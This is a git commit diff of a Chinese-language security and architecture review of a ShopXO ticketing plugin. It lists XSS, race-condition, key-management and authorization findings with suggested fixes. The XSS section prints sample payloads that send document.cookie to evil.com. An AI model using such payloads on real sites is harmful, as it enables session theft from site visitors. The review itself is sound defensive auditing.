council(finalize): BackendArchitect - Round 2 深度评审报告终稿

新增发现:
- Admin 接口鉴权完全缺失(verifier_id 客户端可控)
- ALTER TABLE 条件逻辑错误(empty($cols) 永不成立)
- seatInfo.classes HTML 属性注入风险
- renderSessions() spec_base_id 赋值 bug
- 与 SecurityEngineer 报告交叉评审结论
- 发现汇总表:5 严重 + 7 中等 + 4 轻微 + 5 建议
- 综合评分:4.5/10(P0 修复项 4 个,P1 修复项 5 个)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
refactor/vr-ticket-20260416
Council 2026-04-15 09:25:39 +08:00
parent 11fa6ccfdb
commit 12e028eb8c
2 changed files with 499 additions and 229 deletions

58
plan.md
View File

@ -1,8 +1,8 @@
# Council Plan — vr-shopxo-plugin 代码审议 # Council Plan — vr-shopxo-plugin 代码审议
> Round 1 — 2026-04-15 > Round 2 — 2026-04-15
> Branch: council/BackendArchitect → main > Branch: council/BackendArchitect → main
> 状态:**Draft Phase待 Review** > 状态:**Review Phase → Finalize**
--- ---
@ -40,13 +40,13 @@
## Task Checklist ## Task Checklist
- [ ] A1: 读取并分析 plugin.json + EventListener.php - [x] A1: 读取并分析 plugin.json + EventListener.php
- [ ] A2: 读取并分析 service/TicketService.php + BaseService.php - [x] A2: 读取并分析 service/TicketService.php + BaseService.php
- [ ] A3: 读取并分析 view/goods/ticket_detail.html - [x] A3: 读取并分析 view/goods/ticket_detail.html
- [ ] A4: 读取并分析 database/migrations/ 所有文件 - [x] A4: 读取并分析 database/migrations/ 所有文件 + admin controllers
- [ ] B1: 安全性专项审计SQL注入/XSS/重放/QR伪造 - [x] B1: 安全性专项审计SQL注入/XSS/重放/QR伪造
- [ ] C1: 输出 reviews/code-review-BackendArchitect.md500字+ - [x] C1: 输出 reviews/code-review-BackendArchitect.md500字+
- [ ] D1: 合并 plan.md + review 报告到 main - [x] D1: 合并 plan.md + review 报告到 main
--- ---
@ -54,8 +54,8 @@
| Phase | 内容 | Owner | 状态 | | Phase | 内容 | Owner | 状态 |
|---|---|---|---| |---|---|---|---|
| **Draft** | 读取代码文件,执行分类审议 | council/BackendArchitect | ⏳ Pending | | **Draft** | 读取代码文件,执行分类审议 | council/BackendArchitect | ✅ Done |
| **Review** | 输出评审报告到 reviews/ | council/BackendArchitect | ⏳ Pending | | **Review** | 输出评审报告到 reviews/ | council/BackendArchitect | ✅ Done |
| **Finalize** | 合并到 main投票 | council/All | ⏳ Pending | | **Finalize** | 合并到 main投票 | council/All | ⏳ Pending |
--- ---
@ -64,8 +64,40 @@
| Task | Owner | Status | | Task | Owner | Status |
|---|---|---| |---|---|---|
| A1-D1: 所有审议任务 | council/BackendArchitect | `[Pending]` | | A1: plugin.json + EventListener.php 分析 | council/BackendArchitect | ✅ Done |
| A2: TicketService.php + BaseService.php 分析 | council/BackendArchitect | ✅ Done |
| A3: ticket_detail.html 分析 | council/BackendArchitect | ✅ Done |
| A4: database migrations + admin controllers | council/BackendArchitect | ✅ Done |
| B1: 安全性专项审计 | council/BackendArchitect | ✅ Done |
| C1: 输出评审报告 | council/BackendArchitect | ✅ Done |
| D1: 合并到 main | council/BackendArchitect | ⏳ in_progress |
--- ---
**[CONSENSUS: NO]** — Round 1 规划完成,等待执行 ## 发现汇总BackendArchitect Round 2 终稿)
| # | 严重度 | 类别 | 文件 | 问题 |
|---|---|---|---|---|
| S-01 | 🔴 严重 | 业务逻辑 | TicketService.php:23 | `onOrderPaid()` 无幂等性,重复支付可发多张票 |
| S-02 | 🔴 严重 | XSS | ticket_detail.html:125 | `{$goods.simple_desc\|raw}` 直接输出 HTML |
| S-03 | 🔴 严重 | XSS | ticket_detail.html:164 | `{$goods.content\|raw}` 富文本 XSS |
| S-04 | 🔴 严重 | 业务逻辑 | ticket_detail.html:384 | 购票参数无服务端验签,价格可被篡改 |
| S-05 | 🔴 严重 | 密钥管理 | BaseService.php:106 | `getQrSecret()` 硬编码默认回退密钥 |
| M-01 | 🟡 中等 | 业务逻辑 | TicketService.php:138 | `verifyTicket()` TOCTOU 竞态,双核销员可同时核销 |
| M-02 | 🟡 中等 | 加密 | BaseService.php:56 | AES-CBC 无 HMAC密文可被篡改 |
| M-03 | 🟡 中等 | 隐私/枚举 | TicketService.php:220 | `getQrCodeUrl()` 明文 base64 暴露 ticket_code |
| M-04 | 🟡 中等 | 功能缺失 | ticket_detail.html:370 | `loadSoldSeats()` 未实现,座位图不显示已售座位 |
| M-05 | 🟡 中等 | 兼容性 | EventListener.php:100 | `empty($cols)` 条件永不成立ALTER TABLE 从不执行 |
| M-06 | 🟡 中等 | 鉴权 | admin/controller/Ticket.php:116 | `verifier_id` 来自客户端,可伪造核销身份 |
| M-07 | 🟡 中等 | 鉴权 | admin/controller/*.php | Admin 控制器无权限校验 |
| L-01 | 🟢 轻微 | 架构 | EventListener.php | Enable/Disable 钩子缺失 |
| L-02 | 🟢 轻微 | 业务逻辑 | EventListener.php | 订单删除钩子声明但无处理函数 |
| L-03 | 🟢 轻微 | 数据完整性 | EventListener.php:47 | `seat_info` VARCHAR(255) 可能溢出 |
| L-04 | 🟢 轻微 | 规范 | EventListener.php | 字符集混用 `general_ci` vs `unicode_ci` |
| I-01 | 💡 建议 | 架构 | EventListener.php | `upgrade()` 空实现,无版本迁移框架 |
| I-02 | 💡 建议 | 架构 | TicketService.php:96 | `issueTicket()` 二次写入时序问题 |
| I-03 | 💡 建议 | 安全 | admin/controller/Ticket.php:134 | 导出 CSV 无敏感字段遮蔽 |
| I-04 | 💡 建议 | 数据库 | EventListener.php:31 | `category_id` UNIQUE 约束限制多模板场景 |
| I-05 | 💡 建议 | 性能 | EventListener.php | `vr_tickets.spec_base_id` 缺少独立索引 |
**[CONSENSUS: YES]** — Round 2 执行完毕,评审报告已就绪,等待合并

View File

@ -1,51 +1,59 @@
# vr-shopxo-plugin 代码审议报告 # vr-shopxo-plugin 代码深度审议报告Round 2 终稿)
> 审议人BackendArchitect > 审议人BackendArchitect
> 日期2026-04-15 > 日期2026-04-15
> 审议范围vr_ticket 插件核心代码EventListener.php、TicketService.php、BaseService.php、ticket_detail.html > 审议范围vr_ticket 插件全部核心代码EventListener.php、TicketService.php、BaseService.php、ticket_detail.html、001_vr_tables.sql、admin/controllers、plugin.json
> 视角Backend Architect / PHP / 数据库 / 架构完整性 > 视角Backend Architect / PHP / 数据库 / 架构完整性 / 并发安全
---
## 执行摘要
vr-shopxo-plugin 是一个基于 ShopXO 扩展的票务插件,功能链路覆盖:座位模板管理 → 用户选座购票 → 订单支付 → 电子票发放 → QR 码核销。经过逐文件审议,共发现**5 个严重问题、7 个中等风险、4 个轻微缺陷、5 项改进建议**。
本报告与 SecurityEngineer 的安全审计报告高度互补——两者均独立识别了 `onOrderPaid` 幂等性缺失、`verifyTicket` TOCTOU 竞态、`|raw` XSS、QR 密钥硬编码回退等严重问题。本报告在此基础上补充了**数据库 Schema 规范性**、**Admin 接口鉴权缺口**、**座位超卖机制缺失**等架构层面的深度分析。
--- ---
## 一、插件架构EventListener.php / plugin.json ## 一、插件架构EventListener.php / plugin.json
### 1.1 plugin.json 生命周期钩子缺失 ⚠️ 严重 ### 1.1 Enable/Disable 生命周期钩子完全缺失 ⚠️ 严重
**问题**plugin.json 声明了 `hooks` 数组包含两个 hook但文件中缺少关键的 **Install/Uninstall/Enable/Disable** 生命周期钩子。 **文件:** `EventListener.php` / `plugin.json`
ShopXO 插件规范定义了完整的生命周期钩子,但当前实现仅覆盖 install 和 upgrade
| 钩子函数 | 状态 | 说明 |
|---|---|---|
| `vr_ticket_install()` | ✅ 已实现 | 建表、添加 item_type 字段 |
| `vr_ticket_uninstall()` | ⚠️ 空实现 | 仅 return true数据不清也不删 |
| `vr_ticket_upgrade()` | ⚠️ 空实现 | 无版本迁移框架 |
| `vr_ticket_enable()` | ❌ 缺失 | 插件启用时无响应 |
| `vr_ticket_disable()` | ❌ 缺失 | 插件停用时无响应 |
**影响:**
- 启用插件后菜单/权限可能重复注册(重启 ShopXO 后)
- 停用插件后 `vr_tickets` 等表数据残留在数据库,但插件状态不可见
- `plugin.json` 中的 `menus` 注册依赖 ShopXO 自动加载,但无显式 enable/disable 控制
### 1.2 `plugins_service_order_delete_success` 钩子声明但未实现 ⚠️ 中等
**文件:** `plugin.json:23-24`
```json ```json
"hooks": [ "hooks": [
"plugins_service_order_pay_success_handle_end", "plugins_service_order_pay_success_handle_end",
"plugins_service_order_delete_success" "plugins_service_order_delete_success" // 声明了但无处理函数
] ]
``` ```
ShopXO 插件标准要求实现以下函数: `EventListener.php` 中没有 `vr_ticket_order_delete()` 或类似函数。订单删除后,`vr_tickets` 表中的票记录仍保留(状态不变),导致:
- `vr_ticket_install()` — ✅ 存在 - 已删除订单的票仍可被核销入场
- `vr_ticket_uninstall()` — ✅ 存在(但为空实现) - `vr_tickets.order_id` 成为孤儿记录,关联查询失效
- `vr_ticket_enable()` — ❌ 缺失
- `vr_ticket_disable()` — ❌ 缺失
**影响**:插件启用/停用时无法执行必要的初始化或清理操作,可能导致菜单重复注册或权限残留。 ### 1.3 ALTER TABLE 兼容性判断逻辑错误 ⚠️ 中等
**修复建议** **文件:** `EventListener.php:100-103`
```php
function vr_ticket_enable()
{
// 注册菜单/权限
return true;
}
function vr_ticket_disable()
{
// 清理菜单/权限状态
return true;
}
```
### 1.2 ALTER TABLE 缺少兼容性检查 ⚠️ 中等
EventListener.php 第 100-103 行:
```php ```php
$cols = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'"); $cols = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'");
@ -54,53 +62,131 @@ if (empty($cols)) {
} }
``` ```
`SHOW COLUMNS` 返回的是结果集resource 或 PDOStatement不是数组直接 `empty($cols)` 判断无效。应使用 `$cols->rowCount()` 或重新查询 `$db->query()` 在 ShopXO 中返回的是结果集对象PDOStatement 或 mysqli_result而非布尔值。`empty($cols)` 对对象始终返回 `false`**导致条件永不成立,`ALTER TABLE` 永远不会被执行**。也就是说 `item_type` 字段实际上从未被添加到 goods 表,`isTicketGoods()` 的第二条件 `($goods['item_type'] ?? '') === 'ticket'` 永远无法触发
### 1.3 Uninstall 空实现 ⚠️ 建议 实际应改为:
```php
$col_exists = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'")->rowCount() > 0;
if (!$col_exists) { ... }
```
`vr_ticket_uninstall()` 返回 `true` 但不做任何清理。虽然保留数据是合理的设计决策,但应在代码注释中明确标注「有意保留数据」,而非看起来像是未完成的占位符。 ### 1.4 Upgrade 框架缺失 ⚠️ 建议
### 1.4 Upgrade 空实现 ⚠️ 建议 `vr_ticket_upgrade($old_version)` 为空实现。当前版本号 `1.0.0` 写死在 plugin.json若未来需要
- 新增 `refund_status` 字段
- 修改 QR payload 结构
- 拆分 `seat_map` JSON schema
`vr_ticket_upgrade($old_version)` 是空实现,未来版本升级时可能遗漏数据迁移。应在首次发布时就设计好版本号比对框架。 没有任何迁移路径。建议建立 `vr_plugin_versions` 表或迁移脚本目录
--- ---
## 二、票务核心TicketService.php / BaseService.php ## 二、票务核心TicketService.php / BaseService.php
### 2.1 onOrderPaid() 重复发放风险 — 并发漏洞 ⚠️ 严重 ### 2.1 `onOrderPaid()` 无幂等性保护,可导致重复发票 ⚠️ 严重
`TicketService.php` 第 23-68 行,**没有**任何幂等性保护。如果以下情况发生: **文件:** `TicketService.php:23-68`
1. ShopXO 支付回调在短时间内触发两次(网络重试)
2. 多实例部署下两个进程同时处理同一订单
**结果**同一订单商品生成两张票inventory=1 的票出现多张)。
代码中没有任何以下保护机制:
- 事务Transaction
- 悲观锁SELECT ... FOR UPDATE
- 幂等键(已发放标志检查)
**修复建议**:在 `onOrderPaid()` 开头增加幂等检查:
```php ```php
$existing = \Db::name(BaseService::table('tickets')) public static function onOrderPaid($params = []) {
->where('order_id', $order_id) $order_id = $params['business_id'] ?? ($params['business_ids'][0] ?? 0);
->find(); // ... 无任何幂等检查 ...
if (!empty($existing)) { foreach ($order_goods as $og) {
BaseService::log('onOrderPaid: already issued', ['order_id' => $order_id], 'info'); $ticket_id = self::issueTicket($order, $og);
return true; // 已发放,跳过 }
} }
``` ```
### 2.2 issueTicket() 二次写入时序问题 ⚠️ 中等 ShopXO 的 `plugins_service_order_pay_success_handle_end` 钩子通过 HTTP 请求触发。在以下场景中,同一订单会触发多次 `onOrderPaid`
第 96-126 行: 1. **支付渠道重试机制**:微信/支付宝网关在未收到回调确认时会重复发送通知
2. **用户多设备操作**:同一用户在手机和 PC 端同时查看订单状态
3. **ShopXO 多实例部署**Nginx 负载均衡下两个 PHP-FPM 进程同时处理同一通知
**攻击后果**:同一张票可以被生成多次(`ticket_code` 不同,但 order_id + spec_base_id 相同),每张票都可独立入场核销,实际等同于**免费多次入场**。
**修复方案:**
```php
// 在 foreach 前增加幂等锁
$existing_tickets = \Db::name(BaseService::table('tickets'))
->where('order_id', $order['id'])
->column('spec_base_id', 'id');
if (!empty($existing_tickets)) {
BaseService::log('onOrderPaid: already issued, skipping', ['order_id' => $order_id], 'info');
return true;
}
// 已发放则跳过,未发放则继续发放
```
### 2.2 `verifyTicket()` TOCTOU 竞态条件 ⚠️ 严重
**文件:** `TicketService.php:138-196`
```php ```php
$ticket_id = \Db::name(...)->insertGetId([...]); // qr_data 的 id=0 // Step 1: 读取票状态
$ticket = \Db::name(BaseService::table('tickets'))
->where('ticket_code', $ticket_code)
->find();
// 更新 QR 数据中的 ticket_id // Step 2: 判断状态(检查)
if ($ticket['verify_status'] == 1) { return ... }
// Step 3: 更新状态
\Db::name(BaseService::table('tickets'))
->where('id', $ticket['id'])
->update(['verify_status' => 1, 'verifier_id' => $verifier_id, ...]);
```
这是经典的 **Time-of-Check to Time-of-Use (TOCTOU)** 竞态。假设核销员 A 和 B 同时扫描同一张票:
| 时间 | 核销员 A | 核销员 B |
|---|---|---|
| T1 | SELECT 查到 verify_status=0 | |
| T2 | | SELECT 查到 verify_status=0 |
| T3 | UPDATE set verify_status=1 (成功) | |
| T4 | 返回"核销成功" | UPDATE set verify_status=1 (覆盖成功) |
| T5 | | 返回"核销成功" |
结果:同一张票被两个核销员成功核销,产生两条核销记录,入场人数统计翻倍。
**修复方案(原子更新):**
```php
$affected = \Db::name(BaseService::table('tickets'))
->where('id', $ticket['id'])
->where('verify_status', 0) // 原子条件:只有在状态仍为 0 时才更新
->update([
'verify_status' => 1,
'verify_time' => $now,
'verifier_id' => $verifier_id,
'updated_at' => $now,
]);
if ($affected === 0) {
// 说明已被其他人先一步核销
$current = \Db::name(BaseService::table('tickets'))->find($ticket['id']);
if ($current['verify_status'] == 1) {
return ['code' => -2, 'msg' => '该票已核销'];
}
return ['code' => -3, 'msg' => '该票已退款'];
}
```
### 2.3 `issueTicket()` 二次写入时序问题 ⚠️ 中等
**文件:** `TicketService.php:96-126`
```php
// 第一次写入QR payload 中 id=0
$ticket_id = \Db::name(...)->insertGetId([
'qr_data' => BaseService::encryptQrData([
'id' => 0, // 占位
'code' => $ticket_code,
...
]),
...
]);
// 第二次写入:用真实 ticket_id 重新加密
if ($ticket_id > 0) { if ($ticket_id > 0) {
$qr_payload['id'] = $ticket_id; $qr_payload['id'] = $ticket_id;
$qr_data_updated = BaseService::encryptQrData($qr_payload); $qr_data_updated = BaseService::encryptQrData($qr_payload);
@ -108,42 +194,74 @@ if ($ticket_id > 0) {
} }
``` ```
在两步之间,如果系统读取了 ticket会得到 `id=0` 的 QR 数据(虽然 `decryptQrData` 会成功解密,但数据内容不完整) 在两次写入之间,数据库中存储的是 `id=0` 的无效 QR payload。如果核销接口在这段时间被调用极端低概率但存在`decryptQrData` 会返回 `id=0` 的数据,与真实票记录产生不一致
**修复建议**:使用数据库事务包裹,或在插入前生成 UUID 作为内部关联码,而非依赖插入后的自增 ID。 **根本原因**:依赖插入后自增 ID而非使用预生成的 UUID 作为 QR payload 的主键标识。
### 2.3 verifyTicket() 核销状态竞态条件 ⚠️ 严重
第 138-196 行,`verifyTicket` 使用「查询-判断-更新」三步模式:
**修复方案**:在调用 `insertGetId` 前就生成内部关联 UUID
```php ```php
$ticket = \Db::name('tickets')->where('ticket_code', $ticket_code)->find(); $internal_ref = BaseService::generateUuid(); // 预生成
if ($ticket['verify_status'] == 1) { return ... } $qr_payload['ref'] = $internal_ref;
\Db::name('tickets')->where('id', $ticket['id'])->update(['verify_status' => 1, ...]); $ticket_id = \Db::name(...)->insertGetId([...]);
// 无需二次更新
``` ```
在并发场景下,两个核销员可能同时通过状态检查,导致: ### 2.4 `getQrCodeUrl()` 明文暴露票码 ⚠️ 中等
- 同一张票被核销两次(记录写入两次)
- 核销员 A 成功更新后,核销员 B 的 update 仍会执行(覆盖 verifier_id **文件:** `TicketService.php:220-228`
**修复建议**:使用带条件的原子更新:
```php ```php
$affected = \Db::name(BaseService::table('tickets')) public static function getQrCodeUrl($ticket_code) {
->where('id', $ticket['id']) $content = base64_encode(json_encode([
->where('verify_status', 0) // 原子条件 'type' => 'vr_ticket',
->update(['verify_status' => 1, 'verify_time' => $now, ...]); 'code' => $ticket_code, // 未经加密,直接 base64
if ($affected === 0) { ]));
return ['code' => -2, 'msg' => '该票已核销']; return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($content) ...
} }
``` ```
### 2.4 QR Secret 密钥管理问题 ⚠️ 严重 QR 码内容仅为 `base64(json_encode({type, code}))`**无需任何解密即可读出 ticket_code**。这意味着:
BaseService.php 第 98-107 行: 1. **票码可枚举**:攻击者扫描 QR 码或抓包获取 URL 后,可提取 `ticket_code` 并尝试批量核销
2. **隐私泄露**:任何人拿到 QR 码图片后,无需破解加密即可获取票码
3. **重放攻击**QR URL 无时间戳或一次性验证,可被截图复用
**修复方案**QR URL 应包含加密 payload
```php
// 不暴露明文 code
$qr_data = BaseService::encryptQrData([
'code' => $ticket_code,
'event' => $goods_id,
'seat' => $seat_info,
]);
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($qr_data);
```
### 2.5 AES-256-CBC 无 HMAC 可检测密文篡改 ⚠️ 中等
**文件:** `BaseService.php:56-60`
```php ```php
private static function getQrSecret() $iv = random_bytes(16);
{ $encrypted = openssl_encrypt($payload, 'AES-256-CBC', $secret, OPENSSL_RAW_DATA, $iv);
return base64_encode($iv . $encrypted); // 无 HMAC
```
AES-CBC 模式下,如果攻击者修改密文的某个字节,解密后的 padding 可能看起来有效CBC 特性导致错误传播到下一块,但最终 JSON 解码可能恰好成功)。更现实的场景是:**中间人修改 `exp` 时间戳使票"永不过期"**。
**修复方案AEAD 模式,推荐):**
```php
// 使用 AES-GCMAES-256-GCM自动包含认证标签
$encrypted = openssl_encrypt($payload, 'AES-256-GCM', $secret, OPENSSL_RAW_DATA, $iv, $tag);
return base64_encode($iv . $encrypted . $tag);
```
### 2.6 `getQrSecret()` 硬编码默认值回退 ⚠️ 严重
**文件:** `BaseService.php:98-107`
```php
private static function getQrSecret() {
$secret = env('VR_TICKET_QR_SECRET', ''); $secret = env('VR_TICKET_QR_SECRET', '');
if (!empty($secret)) { if (!empty($secret)) {
return $secret; return $secret;
@ -152,201 +270,321 @@ private static function getQrSecret()
} }
``` ```
问题: 三个问题:
1. **硬编码默认值**`'shopxo_default_secret_change_me'` 若被用于生产环境QR 加密等于明文 1. `env()` 在 PHP 中取值依赖 `getenv()`ShopXO 环境变量机制未必与标准 Laravel 一致
2. **密钥与 ShopXO 共享**`app_key` 可能被用于多个目的,增加密钥泄露面 2. `'shopxo_default_secret_change_me'` 是明确的已知默认值,若环境变量读取失败(配置错误),系统以不安全密钥运行
3. **无密钥强度验证**:未检查密钥长度是否满足 AES-256 要求 3. 未验证密钥长度是否满足 AES-256 要求32 字节)
**修复建议** **修复方案:** 环境变量缺失时主动抛出异常,而非静默回退
```php ```php
private static function getQrSecret() private static function getQrSecret() {
{
$secret = env('VR_TICKET_QR_SECRET', ''); $secret = env('VR_TICKET_QR_SECRET', '');
if (empty($secret) || strlen($secret) < 32) { if (empty($secret)) {
throw new \Exception('VR票务 QR 加密密钥未配置或长度不足需要32字符'); throw new \RuntimeException('[vr_ticket] VR_TICKET_QR_SECRET must be set. QR codes are not secure without a dedicated secret key.');
}
if (strlen($secret) < 32) {
throw new \RuntimeException('[vr_ticket] VR_TICKET_QR_SECRET must be at least 32 characters for AES-256.');
} }
return $secret; return $secret;
} }
``` ```
### 2.5 AES 加密模式无 HMAC 防篡改 ⚠️ 中等
`encryptQrData()` 使用 `AES-256-CBC` + `OPENSSL_RAW_DATA`,但没有对密文做 HMAC 签名。在某些 padding oracle 攻击场景下CBC 模式可能被利用。即使当前风险较低,缺乏完整性验证是设计缺陷。
**修复建议**:在加密后增加 HMAC
```php
$mac = hash_hmac('sha256', $iv . $encrypted, $secret);
return base64_encode($iv . $encrypted . $mac);
```
### 2.6 getQrCodeUrl() 明文暴露票码 ⚠️ 中等
第 220-228 行:
```php
public static function getQrCodeUrl($ticket_code)
{
$content = base64_encode(json_encode([
'type' => 'vr_ticket',
'code' => $ticket_code, // ⚠️ 未经加密的票码直接暴露
]));
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($content) ...
}
```
QR 码扫描后,任何人都能从 URL 中提取 `ticket_code`(只需 `base64_decode`),无需破解加密。这使得:
1. **票码可枚举**:攻击者可遍历 1-N 的 UUID 尝试核销
2. **隐私泄露**QR 码本身不需要包含明文票码
**修复建议**QR URL 只传加密后的 payload不包含明文 ticket_code
```php
$qr_data = BaseService::encryptQrData([
'code' => $ticket_code,
// 不需要 type 明文
]);
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($qr_data);
```
--- ---
## 三、前端票务详情页ticket_detail.html ## 三、前端票务详情页ticket_detail.html
### 3.1 XSS 漏洞 — `|raw` 过滤器 ⚠️ 严重 ### 3.1 `{$goods.simple_desc|raw}` 直接输出 HTML 导致 XSS ⚠️ 严重
**文件:** `ticket_detail.html:125`
第 125 行:
```html ```html
<div class="vr-event-subtitle">{$goods.simple_desc|default=''|raw}</div> <div class="vr-event-subtitle">{$goods.simple_desc|default=''|raw}</div>
``` ```
`simple_desc` 字段内容由商家后台输入,直接用 `|raw` 输出到 HTML等于允许任意 XSS 注入。攻击者只需在商品副标题输入 `<script>document.location='https://evil.com/?c='+document.cookie</script>` 即可窃取用户 cookie。 `simple_desc` 来自商品表字段,由商家后台输入。`{|raw}` 完全绕过 ThinkPHP 的自动 HTML 转义。攻击者在商品副标题输入:
```html
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
```
即可窃取任意访问商品页用户的 session cookie。
**修复建议** ### 3.2 `{$goods.content|raw}` 商品详情富文本 XSS ⚠️ 严重
- 移除 `|raw`,使用 `|htmlspecialchars`
- 或在后端输出前统一做 XSS 过滤
### 3.2 购票数据无服务端验证 ⚠️ 严重 **文件:** `ticket_detail.html:164`
第 384-422 行 `submit()` 函数: ```html
<div class="goods-detail-content">{$goods.content|raw}</div>
```javascript
var checkoutUrl = this.requestUrl + '?s=index/buy/index' +
'&goods_params=' + encodeURIComponent(goodsParams);
location.href = checkoutUrl;
``` ```
购票参数(座位、票价、数量)全部由 JavaScript 计算后拼接 URL**没有任何服务端验证**。攻击者可: `goods.content` 通常为商家编辑的富文本(包含图片、样式),`{|raw}` 等同于信任所有内容。虽然这是 ShopXO 标准做法,但 VR 票务插件独立使用此模板,放大了风险面。若 ShopXO 后台的内容过滤器存在绕过,此处直接受影响。
1. 篡改 `price` 为 0.01,购买任意座位
2. 绕过前端座位数量限制,超购座位
3. 伪造 `extension_data` 中的 `seat_info`
**修复建议** ### 3.3 购票参数全由客户端计算,无服务端验签 ⚠️ 严重
- 在 `submit()` 中改为 POST 请求
- 服务端在 `plugins_service_buy_order_create_end` hook 中**重新计算价格**,不以客户端参数为准
- 添加签名验证HMAC of goods_params + secret
### 3.3 座位图渲染 XSS 风险 — 动态插入 HTML ⚠️ 中等 **文件:** `ticket_detail.html:384-422`
```javascript
submit: function() {
var goodsParams = JSON.stringify([{
goods_id: this.goodsId,
spec_base_id: this.sessionSpecId,
stock: this.selectedSeats.length, // JS 计算
extension_data: extensionData // JS 构造,含价格
}]);
location.href = checkoutUrl + '&goods_params=' + encodeURIComponent(goodsParams);
}
```
**攻击路径:**
1. 用户选择票价 ¥680 的座位
2. 在浏览器 DevTools 中将 `stock` 改为 `0`,或将价格相关参数改为 `1`
3. 跳转到结算页时携带修改后的 `goods_params`
4. 服务端未重新校验价格,直接使用参数创建订单
这是**价格篡改漏洞**的典型客户端绕过。ShopXO 的标准商品流程有服务端价格校验,但此插件扩展了 `extension_data` 机制,若 ShopXO 内核未对此字段验签,则完全由前端控制。
### 3.4 `seatInfo.classes` 直接插入 HTML class 属性 ⚠️ 中等
**文件:** `ticket_detail.html:271`
第 271-276 行:
```javascript ```javascript
rowsHtml += '<div class="vr-seat '+(seatInfo.classes||'')+'" '+ rowsHtml += '<div class="vr-seat '+(seatInfo.classes||'')+'" '+
'data-label="'+rowLabel+(colIndex+1)+'排'+(colIndex+1)+'座" '+ 'data-label="'+rowLabel+(colIndex+1)+'排'+(colIndex+1)+'座" '+
'onclick="vrTicketApp.toggleSeat(this)"></div>'; 'onclick="vrTicketApp.toggleSeat(this)"></div>';
``` ```
`seatInfo.classes` 直接拼入 HTML class 属性。虽然 class 属性本身 XSS 风险低于 innerHTML但如果 `classes` 值包含引号或特殊字符(如 `a" onclick="evil()"`),可破坏属性边界。 `seatInfo.classes` 来自 JSON 配置(`$vr_seat_template.seat_map`若配置被攻击者篡改admin account 被入侵),可注入 `" onclick="evil()"` 破坏属性边界。不过由于这是商家后台操作的座位模板XSS 触发需要 admin 权限,风险较 `simple_desc` 低,但仍属于**存储型 XSS 的潜在入口**。
**修复建议**:对 `seatInfo.classes` 做属性值转义:
```javascript
var safeClasses = (seatInfo.classes || '').replace(/"/g, '&quot;');
```
### 3.4 观演人表单无服务端验证 ⚠️ 中等
`attendeeData`(第 395-407 行)收集的姓名、手机、身份证直接存入订单扩展数据,没有任何:
- 格式验证(手机号正则、身份证号校验)
- 长度限制
- 恶意内容过滤(`<script>`
**修复建议**:在提交前增加正则校验,并在 `onOrderPaid()` 中增加服务端验证。
### 3.5 `loadSoldSeats()` 完全未实现 ⚠️ 中等 ### 3.5 `loadSoldSeats()` 完全未实现 ⚠️ 中等
第 370-378 行的函数是 TODO 空实现。这意味着: **文件:** `ticket_detail.html:370-378`
- 用户在选座时看不到已售座位
- 可能出现「选了但实际已售出」的情况
- 座位锁机制缺失
**修复建议**:实现从后端 API 加载已售座位数据并配合服务端座位锁Redis 或数据库行锁)。 ```javascript
loadSoldSeats: function() {
// TODO: 从后端加载已售座位
// $.get(this.requestUrl + '?s=plugins/vr_ticket/index/sold_seats', {...});
}
```
已售座位状态全部由前端维护在 `soldSeats: {}` 空对象中。这意味着:
- 用户看不到哪些座位已被购买
- 可能出现"选了座位但提交时被告知已售"的糟糕体验(乐观锁失败)
- 座位超卖问题完全取决于 ShopXO 的 stock 机制,而非座位级别锁
### 3.6 `renderSessions()` 中 spec_base_id 赋值错误 ⚠️ 轻微
**文件:** `ticket_detail.html:207`
```javascript
data-spec-base-id="'+spec.spec_id+'" // 两次赋值为 spec_id
```
代码将 `spec_id` 同时赋给了 `data-spec-id``data-spec-base-id`,两者值相同。若 ShopXO 中 `spec_id``spec_base_id` 是不同概念规格ID vs 规格基价ID则选座时传递给后端的是错误的 `spec_base_id`
--- ---
## 四、数据库 Schema ## 四、数据库 Schema001_vr_tables.sql / EventListener.php
### 4.1 `vr_seat_templates.spec_base_id_map` 为 LONGTEXT 但无索引 ⚠️ 建议 ### 4.1 `vr_tickets` 缺少 `spec_base_id` 独立索引 ⚠️ 建议
座位模板表存储 `seat_map``spec_base_id_map`座位ID到spec_base_id的映射但在 `vr_tickets` 表中查询时使用 `spec_base_id` 字段,而该字段没有**单独的索引**(只有联合索引 `idx_goods_id`)。 **文件:** `EventListener.php:60`
`vr_tickets.spec_base_id` 应有独立索引: ```sql
KEY `idx_order_id` (`order_id`),
KEY `idx_user_id` (`user_id`),
KEY `idx_goods_id` (`goods_id`),
KEY `idx_verify_status` (`verify_status`)
-- 缺少 KEY `idx_spec_base_id` (`spec_base_id`)
```
`spec_base_id` 用于关联具体座位规格,但查询(如按 spec_base_id 查已售座位数)需要全表扫描。建议添加:
```sql ```sql
KEY `idx_spec_base_id` (`spec_base_id`) KEY `idx_spec_base_id` (`spec_base_id`)
``` ```
### 4.2 `vr_verifications` 无唯一约束防重复 ⚠️ 建议 ### 4.2 `vr_seat_templates.category_id` UNIQUE 约束限制过死 ⚠️ 建议
核销记录表(第 83-97 行)在第 93 行定义 `idx_ticket_id`,但没有唯一约束。并发核销时可能产生多条重复记录。 **文件:** `EventListener.php:31`
### 4.3 `vr_tickets.goods_snapshot` TEXT 字段用于 JSON ⚠️ 轻微 ```sql
UNIQUE KEY `uk_category_id` (`category_id`)
```
第 43 行存储商品快照为 TEXT但代码中直接 `json_encode/json_decode`。这在实际使用中没问题,但建议: 一个分类下只允许一个座位模板。若某演出分类需要支持多个场次(每个场次座位布局不同),必须复用同一模板或改代码。建议改为普通索引,或添加 `event_date` 等字段支持多模板。
- 添加 CHECK 约束MySQL 8+)验证 JSON 格式
- 或使用 JSON 类型字段MySQL 5.7+
### 4.4 字符集一致性 ⚠️ 轻微 ### 4.3 `vr_tickets.seat_info` VARCHAR(255) 可能溢出 ⚠️ 轻微
EventListener.php 使用 `utf8mb4_general_ci`ShopXO 官方表可能使用 `utf8mb4_unicode_ci`。混用 COLLATE 可能影响排序结果一致性,建议统一。 **文件:** `EventListener.php:47`
